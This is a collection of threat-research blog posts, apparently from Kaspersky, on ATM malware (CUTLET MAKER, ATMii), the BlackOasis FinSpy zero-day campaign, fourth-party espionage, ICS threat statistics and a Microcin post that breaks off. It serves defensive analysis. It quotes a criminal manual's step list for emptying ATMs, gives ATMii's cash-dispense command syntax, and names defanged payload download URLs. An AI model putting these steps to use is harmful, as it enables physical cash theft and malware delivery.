ATM malware is being sold on Darknet market

Disclaimer and warning

ATM systems appear to be very secure, but the money can be accessed fairly easily if you know what you are doing. Criminals are exploiting hardware and software vulnerabilities to interact with ATMs, meaning they need to be made more secure. This can be achieved with the help of additional security software, properly configured to stop the execution of non-whitelisted programs on ATMs.

Worryingly, it is very easy to find detailed manuals of ATM malware. Anybody can simply buy them for around 5000 USD on darknet markets.

Introduction

In May 2017, Kaspersky Lab researchers discovered a forum post advertising ATM malware that was targeting specific vendor ATMs. The forum contained a short description of a crimeware kit designed to empty ATMs with the help of a vendor specific API, without interacting with ATM users and their data. The post links to an offer that was initially published on the AlphaBay Darknet marketplace, which was recently taken down by the FBI.

Advertisement post

An offer post on AlphaBay market

The price of the kit was 5000 USD at the time of research. The AlphaBay description includes details such as the required equipment, targeted ATMs models, as well as tips and tricks for the malware’s operation. And part of a detailed manual for the toolkit was also provided.

Screenshot of a description on AlphaBay market

Previously described ATM malware Tyupkin was also mentioned in this text. The manual “Wall ATM Read Me.txt” was distributed as a plain text file, written in poor English and with bad text formatting. The use of slang and grammatical mistakes suggests that this text was most likely written by a native Russian-speaker.

Apart of a manual with text formatting applied

The manual provides a detailed picture, though only a fragment of the complete manual is being shown. There is a description for each step of the dispense process:

Prepare an all tools, all the programs should be placed on a flash disk.
Tools are wireless keyboard, usb hub, usb cable, usb adapter usb a female to b female, Windows 7 laptop or a tablet ( to run code generator) and a drill.
Find an appropriate ATM
Open ATM door and plug into USB port.
Execute Stimulator to see full information of all the ATM cassettes.
Execute CUTLET MAKER to get it is code.
Execute password generator on a tablet or on a laptop and paste CUTLET MAKER code to it, put the result password to CUTLET MAKER.
Dispense the money from chosen cassette.

The manual provides usage descriptions for all parts of the toolset. The list of crimeware from the kit consists of CUTLET MAKER ATM malware, the primary element, with a password generator included and a Stimulator – an application to gather cash cassette statuses of a target ATM. The crimeware kit is a collection of programs possibly written by different authors, though CUTLET MAKER and Stimulator were protected in the same way, c0decalc is a simple terminal-based application without any protection at all.

Delicious cutlet ingredients: CUTLET MAKER, c0decalc and Stimulator

The first sample was named “CUTLET MAKER” by its authors and has been designed to operate the cash dispense process on specific vendor ATMs.

To answer the question of how a cook from the CUTLET MAKER interface and cutlets relate to stealing money from ATMs, we must explain the meaning of the word “Cutlet“. Originally, it means a meat dish, but as a Russian slang term “Cutlet” (котлета) means “a bundle of money”, suggesting that the criminals behind the malware might be native Russian speakers.

The “Cutlet Maker” malware functionality suggests that two people are supposed to be involved in the theft – the roles are called “drop” and “drop master”. Access to the dispense mechanism of CUTLET MAKER is password protected. Though there could be just one person with the c0decalc application needed to generate a password. Either network or physical access to an ATM is required to enter the code in the application text area and also to interact with the user interface.

Stimulator was possibly developed by the same authors. Its purpose is to retrieve and show the status information of specific vendor ATM cash cassettes (such as currency, value and the amount of notes).

CUTLET MAKER and c0decalc

CUTLET MAKER is the main module responsible for dispensing money from the ATM. The sample analysed in this research has the MD5 checksum “fac356509a156a8f11ce69f149198108” and the compilation timestamp Sat Jul 30 20:17:08 2016 UTC.

The program is written in Delphi and was packed with VMProtect, however it is possible that multiple packers might have been used.

Different versions of the main component were found while researching this toolset. The first known submission of the first version sent to a public multiscanner service took place on June 22nd 2016. All submissions discovered by Kaspersky Lab were performed from different countries, with Ukraine being the chronological first country of origin.

Known CUTLET MAKER filenames (according to public multiscanner service information):

cm.vmp.exe
cm15.vmp.exe
cm16F.exe
cm17F.exe

The following version information was captured from the application’s window caption, followed after a “CUTLET MAKER” name. Known versions at the time of research were:

1.0
1.02
1.0 F

The assumed development period is from 2016-06-22 to 2016-08-18, according to the first submission date of the earliest version and the last submission date of the latest version at the time of writing. The application requires a special library to operate, which is part of a proprietary ATM API, controlling the cash dispenser unit.

With all the dependencies in place, the interface shows a code.

CUTLET MAKER challenge code marked with red rectangle

In order to unlock the application, a password from c0decalc generator needs to be entered, thereby answering the given challenge code. If the password is incorrect, the interface won’t react to any further input.

Each “CHECK HEAT” and “start cooking!” button corresponds to a specific ATM cash cassette. Buttons labeled “CHECK HEAT” dispense one note, “start cooking!” dispenses 50 “cutlets” with 60 notes each.  The “Stop!” button stops an ongoing “start cooking!” process. “Reset” is intended to reset the dispense process.

c0decalc a password generator for CUTLET MAKER

This tool is an unprotected command line application, written in Visual C. The purpose of this application is to generate a password for CUTLET MAKER’s graphical interface.

The compilation timestamp for this specific sample is Sun Nov 13 11:35:25 2016 UTC and was first uploaded to a public multiscanner service on December 7th 2016.

Example output for “12345678” input

Kaspersky Lab researchers checked the algorithm during the analysis and found “CUTLET MAKER” working with the passwords generated by “c0decalc”.

Stimulator

The Stimulator sample analysed in this research has the MD5 hash “27640bb7908ca7303d13d50c14ccf669”. This sample is also written in Delphi and packed the same way as “CUTLET MAKER”. The compilation timestamp is Sat Jul 16 18:34:47 2016 UTC.

The application is designed to work on specific vendor ATMs and also uses proprietary API calls.

Some additional symbols were found in the memory dump of a “Stimulator” process, pointing to an interesting part of the application. After execution and pressing the “STIMULATE ME!” button, the proprietary API function is used to fetch an ATM’s cassette status. The following cassette state results are used:

1CUR
2CUR
3CUR
4CUR
1VAL
2VAL
3VAL
4VAL
1NDV
2NDV
3NDV
4NDV
1ACT
2ACT
3ACT
4ACT

Each preceding number is mapped to an ATM cassette. The three character states are interpreted as follows:

nCUR cassette n currency (like “USD”, “RUB”)
nVAL cassette n note value (like 00000005, 00000020 )
nACT cassette n counter for specific notes in a cassette (value from 0 to 3000)
nNDV number of notes in the ATM for cassette n (value from 0 to 3000)

The result of “STIMULATE ME!” button press in proper environment

Each column, shown in the picture above, describes the state of one corresponding ATM cassette.

The background picture used in the application interface turns out to be quite unique, the original photo was posted on a DIY blog:

https://www.oldtownhome.com/2011/8/4/Knock-Knock-Whos-There-Merv-the-Perv/

Original picture as used in “Stimulator” application (photo by Alex Santantonio)

Conclusion

This type of malware does not affect bank customers directly, it is intended for the theft of cash from specific vendor ATMs. CUTLET MAKER and Stimulator show how criminals are using legitimate proprietary libraries and a small piece of code to dispense money from an ATM. Examples of appropriate countermeasures against such attacks include default-deny policies and device control. The first measure prevents criminals from running their own code on the ATM’s internal PC. It is likely that ATMs in these attacks were infected through physical access to the PC, which means criminals were using USB drives to install malware onto the machine. In such a case, device control software would prevent them from connecting new devices, such as USB sticks. Kaspersky Embedded Systems Security will help to extend the security level of ATMs.

Kaspersky Lab products detects this treats as Backdoor.Win32.ATMletcut, Backdoor.Win32.ATMulator, Trojan.Win32.Agent.ikmo

BlackOasis APT and new targeted attacks leveraging zero-day exploit

More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service. Contact: [email protected]

Introduction

Kaspersky Lab has always worked closely with vendors to protect users. As soon as we find new vulnerabilities we immediately inform the vendor in a responsible manner and provide all the details required for a fix.

On October 10, 2017, Kaspersky Lab’s advanced exploit prevention systems identified a new Adobe Flash zero day exploit used in the wild against our customers. The exploit was delivered through a Microsoft Office document and the final payload was the latest version of FinSpy malware. We have reported the bug to Adobe who assigned it CVE-2017-11292 and released a patch earlier today:

So far only one attack has been observed in our customer base, leading us to believe the number of attacks are minimal and highly targeted.

Analysis of the payload allowed us to confidently link this attack to an actor we track as “BlackOasis”. We are also highly confident that BlackOasis was also responsible for another zero day exploit (CVE-2017-8759) discovered by FireEye in September 2017.  The FinSpy payload used in the current attacks (CVE-2017-11292) shares the same command and control (C2) server as the payload used with CVE-2017-8759 uncovered by FireEye.

BlackOasis Background

We first became aware of BlackOasis’ activities in May 2016, while investigating another Adobe Flash zero day. On May 10, 2016, Adobe warned of a vulnerability (CVE-2016-4117) affecting Flash Player 21.0.0.226 and earlier versions for Windows, Macintosh, Linux, and Chrome OS. The vulnerability was actively being exploited in the wild.

Kaspersky Lab was able to identify a sample exploiting this vulnerability that was uploaded to a multi scanner system on May 8, 2016. The sample, in the form of an RTF document, exploited CVE-2016-4117 to download and install a program from a remote C&C server. Although the exact payload of the attack was no longer in the C&C, the same server was hosting multiple FinSpy installation packages.

Leveraging data from Kaspersky Security Network, we identified two other similar exploit chains used by BlackOasis in June 2015 which were zero days at the time.  Those include CVE-2015-5119 and CVE-2016-0984, which were patched in July 2015 and February 2016 respectively.  These exploit chains also delivered FinSpy installation packages.

Since the discovery of BlackOasis’ exploitation network, we’ve been tracking this threat actor with the purpose of better understanding their operations and targeting and have seen a couple dozen new attacks. Some lure documents used in these attacks are shown below:

Decoy documents used in BlackOasis attacks

To summarize, we have seen BlackOasis utilizing at least five zero days since June 2015:

  • CVE-2015-5119 – June 2015
  • CVE-2016-0984 – June 2015
  • CVE-2016-4117 – May 2016
  • CVE-2017-8759 – Sept 2017
  • CVE-2017-11292 – Oct 2017

Attacks Leveraging CVE-2017-11292

The attack begins with the delivery of an Office document, presumably in this instance via e-mail.  Embedded within the document is an ActiveX object which contains the Flash exploit.

Flash object in the .docx file, stored in uncompressed format

The Flash object contains an ActionScript which is responsible for extracting the exploit using a custom packer seen in other FinSpy exploits.

Unpacking routine for SWF exploit

The exploit is a memory corruption vulnerability that exists in the “com.adobe.tvsdk.mediacore.BufferControlParameters” class.  If the exploit is successful, it will gain arbitrary read / write operations within memory, thus allowing it to execute a second stage shellcode.

The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files:

NOP sled composed of 0x90 and 0x91 opcodes

The main purpose of the initial shellcode is to download second stage shellcode from hxxp://89.45.67[.]107/rss/5uzosoff0u.iaf.

Second stage shellcode

The second stage shellcode will then perform the following actions:

  1. Download the final payload (FinSpy) from hxxp://89.45.67[.]107/rss/mo.exe
  2. Download a lure document to display to the victim from the same IP
  3. Execute the payload and display the lure document

Payload – mo.exe

As mentioned earlier, the “mo.exe” payload (MD5: 4a49135d2ecc07085a8b7c5925a36c0a) is the newest version of Gamma International’s FinSpy malware, typically sold to nation states and other law enforcement agencies to use in lawful surveillance operations.  This newer variant has made it especially difficult for researchers to analyze the malware due to many added anti-analysis techniques, to include a custom packer and virtual machine to execute code.

The PCODE of the virtual machine is packed with the aplib packer.

Part of packed VM PCODE

After unpacking, the PCODE it will look like the following:

Unpacked PCODE

After unpacking the virtual machine PCODE is then decrypted:

Decrypted VM PCODE

The custom virtual machine supports a total of 34 instructions:

Example of parsed PCODE

In this example, the “1b” instruction is responsible for executing native code that is specified in parameter field.

Once the payload is successfully executed, it will proceed to copy files to the following locations:

  • C:\ProgramData\ManagerApp\AdapterTroubleshooter.exe
  • C:\ProgramData\ManagerApp\15b937.cab
  • C:\ProgramData\ManagerApp\install.cab
  • C:\ProgramData\ManagerApp\msvcr90.dll
  • C:\ProgramData\ManagerApp\d3d9.dll

The “AdapterTroubleshooter.exe” file is a legitimate binary which is leveraged to use the famous DLL search order hijacking technique.  The “d3d9.dll” file is malicious and is loaded into memory by the legit binary upon execution.  Once loaded, the DLL will then inject FinSpy into the Winlogon process.

Part of injected code in winlogon process

The payload calls out to three C2 servers for further control and exfiltration of data. We have observed two of them used in the past with other FinSpy payloads. Most recently one of these C2 servers was used together with CVE-2017-8759 in the attacks reported by FireEye in September 2017. These IPs and other previous samples tie closely to the BlackOasis APT cluster of FinSpy activity.

Targeting and Victims

BlackOasis’ interests span a wide gamut of figures involved in Middle Eastern politics and verticals disproportionately relevant to the region. This includes prominent figures in the United Nations, opposition bloggers and activists, and regional news correspondents. During 2016, we observed a heavy interest in Angola, exemplified by lure documents indicating targets with suspected ties to oil, money laundering, and other illicit activities. There is also an interest in international activists and think tanks.

Victims of BlackOasis have been observed in the following countries: Russia, Iraq, Afghanistan, Nigeria, Libya, Jordan, Tunisia, Saudi Arabia, Iran, Netherlands, Bahrain, United Kingdom and Angola.

Conclusions

We estimate that the attack on HackingTeam in mid-2015 left a gap on the market for surveillance tools, which is now being filled by other companies. One of these is Gamma International with their FinFisher suite of tools. Although Gamma International itself was hacked by Phineas Fisher in 2014, the breach was not as serious as it was in the case of HackingTeam. Additionally, Gamma had two years to recover from the attack and pick up the pace.

We believe the number of attacks relying on FinFisher software, supported by zero day exploits such as the ones described here will continue to grow.

What does it mean for everyone and how to defend against such attacks, including zero-day exploits?

For CVE-2017-11292 and other similar vulnerabilities, one can use the killbit for Flash within their organizations to disable it in any applications that respect it.  Unfortunately, doing this system-wide is not easily done, as Flash objects can be loaded in applications that potentially do not follow the killbit. Additionally, this may break any other necessary resources that rely on Flash and of course, it will not protect against exploits for other third party software.

Deploying a multi-layered approach including access policies, anti-virus, network monitoring and whitelisting can help ensure customers are protected against threats such as this.  Users of Kaspersky products are protected as well against this threat by one of the following detections:</p style=”margin-bottom:0!important”>

  • PDM:Exploit.Win32.Generic
  • HEUR:Exploit.SWF.Generic
  • HEUR:Exploit.MSOffice.Generic

More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service. Contact: [email protected]

Acknowledgements

We would like to thank the Adobe Product Security Incident Response Team (PSIRT) for working with us to identify and patch this vulnerability.

References

  1. Adobe Bulletin https://helpx.adobe.com/security/products/flash-player/apsb17-32.html

Indicators of compromise

4a49135d2ecc07085a8b7c5925a36c0a
89.45.67[.]107

ATMii: a small but effective ATM robber

While some criminals blow up ATMs to steal cash, others use less destructive methods, such as infecting the ATM with malware and then stealing the money. We have written about this phenomenon extensively in the past and today we can add another family of malware to the list – Backdoor.Win32.ATMii.

ATMii was first brought to our attention in April 2017, when a partner from the financial industry shared some samples with us. The malware turned out to be fairly straightforward, consisting of only two modules: an injector module (exe.exe, 3fddbf20b41e335b6b1615536b8e1292) and the module to be injected (dll.dll, dc42ed8e1de55185c9240f33863a6aa4). To use this malware, criminals need direct access to the target ATM, either over the network or physically (e.g. over USB). ATMii, if it is successful, allows criminals to dispense all the cash from the ATM.

exe.exe – an injector and control module

The injector is an unprotected command line application, written in Visual C with a compilation timestamp: Fri Nov 01 14:33:23 2013 UTC. Since this compilation timestamp is from 4 years ago – and we do not think this threat could have gone unnoticed for 4 years – we believe it is a fake timestamp. What’s also interesting is the OS that is supported by the malware: One more recent than Windows XP. We can see this in the image below, where the first argument for the OpenProcess() function is 0x1FFFFu.

OpenProcess call with the PROCESS_ALL_ACCESS constant

It is the PROCESS_ALL_ACCESS constant, but this constant value differs in older Windows versions such as Windows XP (see the picture below). This is interesting because most ATMs still run on Windows XP, which is thus not supported by the malware.

A list of PROCESS_ALL_ACCESS values per Windows version

The injector, which targets the atmapp.exe (proprietary ATM software) process, is fairly poorly written, since it depends on several parameters. If none are given, the application catches an exception. The parameters are pretty self-explanatory:

param  short description
/load Tries to inject dll.dll into atmapp.exe process
/cmd Creates/Updates C:\ATM\c.ini file to pass commands and params to infected library
/unload Tries to unload injected library from atmapp.exe process, while restoring its state.

/load param

<exe.exe> /load

The application searches for a process with the name atmapp.exe and injects code into it that loads the “dll.dll” library (which has to be in the same folder as the exe.exe file). After it has been loaded it calls the DLLmain function.

/unload param

<exe.exe> /unload

As the name already suggests, it is the opposite of the /load parameter; it unloads the injected module and restores the process to its original state.

/cmd param

<exe.exe> /cmd [cmd] [params]

The application creates/updates C:\ATM\c.ini which is used by the injected DLL to read commands. The file is updated each time the .exe is run with the /cmd param.

Contents of c.ini after execution of “exe.exe /cmd info”

The executable understands the following set of commands:

command description
scan Scans for the CASH_UNIT XFS service
disp Stands for “dispense”. The injected module should dispense “amount” cash of “currency” (amount and currency are used as parameters)
info Gets info about ATM cash cassettes, all the returned data goes to the log file.
die Injected module removes C:\ATM\c.ini file

dll.dll injecting module

After injection and execution of the DllMain function, the dll.dll library loads msxfs.dll and replaces the WFSGetInfo function with a special wrap function, named mWFSGetInfo.

At the time of the first call to the fake WFSGetInfo function, C:\ATM\c.ini is ignored and the library tries to find the ATM’s CASH_UNIT service id and stores the result, basically in the same way as the scan command does. If the CASH_UNIT service is not found, dll.dll won’t function. However, if successful, all further calls go to the mWFSGetInfo function, which performs the additional logic (reading, parsing and executing the commands from the C:\ATM\c.ini file).

Contents of C:\ATM\c.ini after execution of “exe.exe /cmd disp RUB 6000”

Below is an output of the strings program uncovering some interesting log messages and the function names to be imported. The proprietary MSXFS.DLL library and its functions used in the ATMii malware are marked with red boxes.

“scan” command

Because of the architecture of XFS, which is divided into services, the injected library first needs to find the dispense service. This command must be successfully called, because the disp and info commands depend on the service id retrieved by scan. Scan is automatically called after the dll has been injected into atmapp.exe.

After collecting the WFS_INF_CDM_STATUS data, additional data gets added to the tlogs.log. An example can be found below:


(387):cmd_scan() Searching valid service
(358):FindValidService() Checking device index=0
(70):CheckServiceForValid() ————————————————
(72):CheckServiceForValid() Waiting for lock
(76):CheckServiceForValid() Device was locked
(86):CheckServiceForValid() WFSGetInfo Success 0
(182):CheckServiceForValid() Done-> szDevice: WFS_CDM_DEVONLINE, szDispenser: WFS_CDM_DISPOK, szIntermediateStacker: WFS_CDM_ISEMPTY, szSafeDoor: WFS_CDM_DOORCLOSED
(195):CheckServiceForValid() Unlocking device
(390):cmd_scan() Service found 0

Part of a tlogs.log possible log after successfully executed “scan” command

style=”text-align:center”>

“info” command

Before the criminals can dispense cash, they first need to know the exact contents of the different cassettes. For this, they use the info command which provides exhaustive information on all cassettes and their contents. The list of used XFS API functions is the same as with the scan command, but this time WFSGetInfo is called with the WFS_INF_CDM_CASH_UNIT_INFO (303) constant passed as a param.

Below is an example of the data in log file returned by the info command.


(502):ExecuteCmd() Executing cmd
(506):ExecuteCmd() CMD = info
(402):cmd_info() ! hFoundGlobalService = 0
(213):GetDeviceInformation() ————————————————
(220):GetDeviceInformation() Device locked 0
(337):GetDeviceInformation() Module: C:\program files\dtatmw\bin\atmapp\atmapp.exe
Cash Unit # 1, name=SOMENAME
Type: 3
Status: HIGH
Currency ID: 0x52-0x55-0x42
Note Value: 5000
Notes Count: 3000
Notes Initial Count: 3000
Notes Minimum Count: 10
Notes Maximum Count: 0

Example5 Part of a tlogs.log possible log after successfully executed “info” command

style=”text-align:center”>

“disp” command

The dispense command is followed by two additional params in the command file: currency and amount. Currency must contain one of the three-letter currency codes of notes kept in the CASH_UNIT_INFO structure (currency codes are described in ISO_4217 e.g. RUB, EUR). The amount code holds the amount of cash to dispense and this value must be a multiple of ten.

“die” command

Does nothing except deleting C:\ATM\c.ini command file.

Conclusion

ATMii is yet another example of how criminals can use legitimate proprietary libraries and a small piece of code to dispense money from an ATM. Some appropriate countermeasures against such attacks are default-deny policies and device control. The first measure prevents criminals from running their own code on the ATM’s internal PC, while the second measure will prevent them from connecting new devices, such as USB sticks.

The Festive Complexities of SIGINT-Capable Threat Actors

To read the full paper and learn more about this, refer to “Walking in Your Enemy’s Shadow: When Fourth-Party Collection Becomes Attribution Hell”

Attribution is complicated under the best of circumstances. Sparse attributory indicators and the possibility of overt manipulation have proven enough for many researchers to shy away from the attribution space. And yet, we haven’t even discussed the worst-case scenarios. What happens to our research methods when threat actors start hacking each other? What happens when threat actors leverage another’s seemingly closed-source toolkit? Or better yet, what if they open-source an entire suite to generate so much noise that they’ll never be heard?

Thankfully, the 2017 VirusBulletin conference is upon us and, as in previous years, we’re taking the opportunity to dive into an exciting subject, guided by our experience from doing hands-on APT research.

During the past years, we discussed the evolution of anti-malware research into intelligence brokerage, the inherent problems with doing attribution based solely on fifth-domain indicators, and an attempt to have a balanced discussion between defensive cats and the sly mice that elude them. Continuing in this direction, this year we decided to put our heads together to understand the implications that the esoteric SIGINT practice of fourth-party collection could have on threat intelligence research.

A few types of SIGINT Collection

The means by which information is generated and collected is the most important part of an analyst’s work. One must be well aware of the means and source of the information analyzed in order to either compensate or exploit its provenance. For that reason, collection can be categorized by its means of generation in relation to the position of the parties involved, as discussed below. These definitions will serve as functional categories for our understanding as outsiders looking into the more complex spheres of collection dynamics.

To showcase the types of data collection, let’s imagine a competent entity named ‘Agency-A’ as a stand-in for a ‘God on the wire‘-style SIGINT agency interested in fourth-party collection.

There are multiple types of collection categories available to this entity. The more obvious being information collected by Agency-A directly (first-party) or shared with Agency-A by partner services (second-party). Third-party collection, or information collected via access to strategic organizations, whether they realize it or not, has gotten a lot of attention over the past few years. This would include ISPs, ad networks, or social media platforms that aggregate great troves of valuable data.

Similarly, we will use further entities Agency-B as a second semi-competent SIGINT agency upon which Agency-A can be recurringly predatory for the sake of explanation. When necessary an even less competent Agency-C will serve as prey.

Yet, things get most interesting when we start talking about:

Fourth-party collection – …involves interception of a foreign intelligence service’s ‘computer network exploitation’ (CNE) activity in a variety of possible configurations. Given the nature of Agency-A as a cyber-capable SIGINT entity, two modes of fourth-party collection are available to it: passive and active. The former will take advantage of its existing visibility into data in transit either between hop points in the adversary’s infrastructure or perhaps in transit from the victim to the command-and-control servers themselves (whichever opportunity permits). On the other hand, active means involve the leveraging of diverse CNE capabilities to collect, replace, or disrupt the adversary’s campaign. Both present challenges we will explore in extensive detail further below.”

In less technical terms, fourth-party collection is the practice of spying on a spy spying on someone else. Or with age-old cryptographic interlocutors: Bob is obsessed with Alice. Alice is being spied on by her overzealous neighbour Eve. In order for Bob to be a creeper without arousing suspicion, he decides to spy on Eve with the purpose of getting to know Alice through Eve’s original privacy violation.

As you might expect there are different ways to do this and many of them enjoy the benefit of being near impossible to detect. Where possible, we have added examples of what to us looks like possible active attempts to collect on another’s collection. Otherwise, we have added thought experiments to help us wrap our heads around this shadowy practice. Two examples worth bringing to your attention (reproduced faithfully from our paper):

‘We heard you like popping boxes, so we popped your box so we can watch while you watch’

Attempting to highlight examples of fourth-party collection is a difficult exercise in the interpretation of shadows and vague remnants. While passive collection is beyond our ability to observe, active collection involves the risk of leaving a footprint in the form of artefacts. In the course of APT investigations, Kaspersky Lab’s Global Research and Analysis Team (GReAT) has encountered strange artefacts that defy immediate understanding in the context of the investigation itself. While we cannot be certain of the intent or provenance of these artefacts, they nonetheless fit a conceptual framework of active fourth-party collection. Here’s a few examples:

Crouching Yeti’s Pixelated Servers

In July 2014, we published our research on Crouching Yeti, also known as ‘Energetic Bear’, an APT actor active since at least 2010. Between 2010 and 2014, Crouching Yeti was involved in intrusions against a variety of sectors, including:

  • Industrial/machinery
  • Manufacturing
  • Pharmaceutical
  • Construction
  • Education
  • Information technology

Most of the victims we identified fell into the industrial and machine manufacturing sector, indicating vertical of special interest for this attacker.

To manage their victims, Crouching Yeti relied on a network of hacked websites which acted as command-and-control servers. For this, the attackers would install a PHP-based backend that could be used to collect data from or deliver commands to the victims. To manage the backend, the attackers used a control panel (also written in PHP) that, upon checking login credentials, would allow them to manage the information stolen from the victims.

In March 2014, while investigating one of the hacked sites used by Energetic Bear, we observed that for a brief period of time, the page for the control panel was modified to include an <img src> tag that pointed to a remote IP address in China. This remote 1×1 pixels wide image was likely intended to fingerprint the attackers as they logged into their control panel. The fingerprinting could have been used to collect attributory indicators. The usage of an IP address in China, which appeared to point to yet another hacked server, was most likely an attempt at a rudimentary false flag should this injection be discovered.

NetTraveler’s Most Leet Backdoor

While investigating the Nettraveler attacks, we obtained a disk image of a mothership server used by the threat actor. The mothership, a combination staging and relay server, contained a large number of scripts used by the attackers to interact with their malware, as well as VPN software and other IP masking solutions used to tunnel into their own hacking infrastructure.

Beyond the fortuitous boon of seizing such a content-rich server, GReAT researchers made a further unexpected discovery: the presence of a backdoor apparently placed by another entity.

We believe the backdoor was installed by an entity intent on maintaining prolonged access to the Nettraveler infrastructure or their stolen data. Considering that the NetTraveler operators had direct access to their mothership server and didn’t need a backdoor to operate it, we consider other possible interpretations less likely.

The artefact encountered is the following:

Name svchost.exe
MD5 58a4d93d386736cb9843a267c7c3c10b
Size 37,888

Interestingly, the backdoor is written in assembly and was injected into an empty Visual C executable that served as a template. This unusual implementation was likely chosen in order to confuse analysis or prevent detection by simple antivirus programs.

The backdoor is primitive and does nothing but listen to port 31337 (The most ‘LEET!’ port) and wait for a payload to be sent. The acceptable payload format is depicted here:

The assembly code is then executed and can perform any action chosen by the predatory attackers. The backdoor requires no authentication. Combining this sort of backdoor with Metasploit or other similar frameworks could have easily been used to control the system.

During the last years, we have seen a number of other peculiar incidents and cases which could constitute fourth party collection.”

To read the full paper and learn more about this, refer to “Walking in Your Enemy’s Shadow: When Fourth-Party Collection Becomes Attribution Hell”

Threat Landscape for Industrial Automation Systems in H1 2017

Kaspersky Lab Industrial Control Systems Cyber Emergency Response Team (Kaspersky Lab ICS CERT) publishes the results of its research on the threat landscape for industrial automation systems for the first six months of 2017.

All statistical data used in this report was collected using the Kaspersky Security Network (KSN), a distributed antivirus network. The data was received from those KSN users who gave their consent to have data anonymously transferred from their computers.

The data was received from computers protected by Kaspersky Lab products that Kaspersky Lab ICS CERT categorizes as part of the industrial infrastructure at organizations. This group includes Windows computers that perform one or several of the following functions:

  • supervisory control and data acquisition (SCADA) servers,
  • data storage servers (Historian),
  • data gateways (OPC),
  • stationary workstations of engineers and operators,
  • mobile workstations of engineers and operators,
  • Human Machine Interface (HMI).

This group also includes computers of employees at contractor organizations and computers of industrial control network administrators and software developers who develop software for industrial automation systems.

Main Events

In April, the Shadow Brokers hacker group opened access to a National Security Agency (NSA) archive containing exploits and attack tools.

At first, Shadow Brokers tried to sell their archive. Later, most of it was published. The data that was made public included exploits for network equipment and routers, for banking systems, for UNIX-like systems and for various versions of Windows. Some of the vulnerabilities published were previously unknown zero-day vulnerabilities.

In June 2017, the results of research into the CrashOverride/Industroyer malware were published. Experts from ESET and Dragos Inc., as well as a number of independent researchers, came to the conclusion that the malware was designed to disrupt the operation of industrial control systems (ICS), particularly electrical substations. CrashOverride/Industroyer is capable of directly controlling switches and circuit breakers in electrical substation circuits.

Kaspersky Lab ICS CERT experts reported on Business Email Compromise (BEC) attacks carried out by Nigerian threat actors that were primarily targeting industrial and large transportation and logistics companies. In the attacks analyzed by Kaspersky Lab, industrial companies account for over 80% of potential victims. All in all, over 500 attacked companies were discovered in more than 50 countries.

An important development in the first six months of 2017 was the leak of an archive from a special unit of the US Central Intelligence Agency. The archive included information on CIA hacking tools: malware, including zero-day exploits, malicious remote access tools and related documentation. Part of the archive was published on WikiLeaks.

Ransomware has become a significant threat for companies, including industrial enterprises. It is particularly dangerous for enterprises that have critical infrastructure facilities, since malware activity can disrupt industrial processes.

During the first six months of 2017, attacks by encryption ransomware belonging to 33 different families were blocked on ICS computers. Fortunately, we did not find any dedicated programs designed specifically to block industrial automation software among the malware samples detected.

Based on the number of machines attacked, WannaCry ranked highest in the first half of 2017 – it accounted for 13.4% of all computers in industrial infrastructure attacked by encryption ransomware.

TOP 10 most widespread encryption Trojan families, H1 2017

WannaCry infections were possible because of typical industrial network configuration errors. We analyzed all infection pathways and came to the conclusion that in most cases industrial automation systems had been attacked by WannaCry malware from the local corporate network and through VPN connections.

Threat Statistics

In the first half of 2017, Kaspersky Lab products blocked attack attempts on 37.6% of ICS computers protected by them globally, which is 1.6 percentage points less than in the second half of 2016.

While the proportion of machines attacked grew from one month to the next in the second half of 2016, the dynamics were somewhat different in the first six months of 2017. We saw attacker activity fall in January, then the proportion of computers attacked rose back to its former level in February and March and then it gradually declined again from April to June.

Percentage of ICS computers attacked globally by month,
July 2016 – June 2017

In terms of the use cases and the technologies used, industrial networks are becoming increasingly similar to corporate networks. Consequently, the threat landscape for industrial systems is becoming similar to the threat landscape for corporate systems.

About 18,000 different modifications of malware belonging to more than 2,500 different families were detected on industrial automation systems in the first half of 2017.

In the first half of 2017, attempts to download malware from the Internet or access known malicious or phishing web resources were blocked on 20.4% of ICS computers.

For computers that are part of industrial infrastructure, the Internet remains the main source of infection. Contributing factors include interfaces between corporate and industrial networks, availability of limited Internet access from industrial networks, and connection of computers on industrial networks to the Internet via mobile phone operators’ networks (using mobile phones, USB modems and/or Wi-Fi routers with 3G/LTE support).

Main sources of threats blocked on ICS computers, H1 2017

Malware in the form of Windows (Win32/Win 64) executable files was blocked on more than 50% of all computers attacked. Instead of developing an executable file, threat actors often implement malicious functionality using a script language, which is executed by interpreters that are already installed on the computer of a would-be victim. A ranking of the main platforms used by malware apart from Windows is provided below.

Platforms used by malware, H1 2017

Note that attackers often use small loaders written in JavaScript, Visual Basic Script or Powershell, which are launched using command-line parameters for the relevant interpreters.

Full report (PDF)

A simple example of a complex cyberattack

We’re already used to the fact that complex cyberattacks use 0-day vulnerabilities, bypassing digital signature checks, virtual file systems, non-standard encryption algorithms and other tricks. Sometimes, however, all of this may be done in much simpler ways, as was the case in the malicious campaign that we detected a while ago – we named it ‘Microcin’ after microini, one of the malicious components used in it.

Kaspersky Lab’s solution to protect against targeted attacks, Kaspersky Anti Targeted Attack Platform, that was installed on the property of one of Kaspersky Lab’s corporate clients in Russia, detected a suspicious RTF file. The document contained an exploit to the previously known and patched vulnerability CVE-2015-1641; however, its code had been modified considerably. Remarkably, the malicious document was delivered via websites that targeted a very narrow audience, so we suspected early on that we were dealing with a targeted attack. The threat actors took aim at users visiting forums with discussions on the state-subsidized housing that Russian military personnel and their families are entitled to.

A forum post with a link to the malicious document

A forum post with a link to the malicious document

This approach appears to be very effective, as it substantially increases the chance that a potential victim will download and open the malicious document: the hosting forum is legitimate, and the malicious document is named accordingly (“Housing acceptance procedure” in Russian).

All links in the forum messages lead to the URL address files[.]maintr**plus[.]com, where the RTF document with the exploit was hosted. The threat actors sometimes used PPT files containing an executable PE file which did not contain the exploit, as the payload was launched by a script embedded into the PPT file.

If a Microsoft Office vulnerability is successfully exploited, the exploit creates an executable PE file on the hard drive and launches it for execution. The malicious program is a platform used to deploy extra (add-on) malicious modules, store them stealthily and thus add new capabilities for the threat actors. The attack unfolds in several stages, as described below:

